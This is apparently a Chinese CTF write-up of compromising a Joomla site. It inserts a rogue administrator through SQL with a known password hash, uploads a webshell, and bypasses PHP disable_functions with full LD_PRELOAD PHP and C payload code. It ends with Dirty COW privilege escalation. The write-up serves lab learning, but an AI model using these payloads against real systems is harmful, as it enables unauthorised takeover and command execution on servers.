本来是个域渗透,不过环境有问题,就当作web题在做了
解题过程
这是一个joomla cms
-
我们先扫一下目录
-
连接mysql
得到MySQL的账号和密码
然后创建新的管理员INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2','d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');
这儿创建的管理员账号为
admin2 secret
不同的网站对应不同的前缀,改一下前缀即可 -
登录后台,上传shell
访问/templates/beez3//HyyMBb.php
,即可getshell
-
绕过
disable_function
上传cmd.php
<?php #move_uploaded_file($_FILES['evil']['tmp_name'], '/var/www/html/admin/shells/fEsiIOZ6Eup6pSW6/evil.so'); putenv('LD_PRELOAD=/tmp/evil.so'); putenv("_evilcmd=ls"); mail('a','a','a'); echo file_get_contents('/tmp/result.txt'); ?>
编译
evil.c
然后上传到/tmp
目录下/* compile: gcc -Wall -fPIC -shared -o evil.so evil.c -ldl */ #include <stdlib.h> #include <stdio.h> #include <string.h> void payload(char *cmd) { char buf[512]; strcpy(buf, cmd); strcat(buf, " > /tmp/result.txt"); system(buf);} int getuid() { char *cmd; if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); if ((cmd = getenv("_evilcmd")) != NULL) { payload(cmd); } return 1; }
即可执行系统命令
-
提权
根据以下我们知道,这很明显是一个反向代理,实际的web服务不在192.168.1.110
上
找到一个账号密码,我们试一试能不能登录192.168.1.110
直接使用脏牛提权
成功提权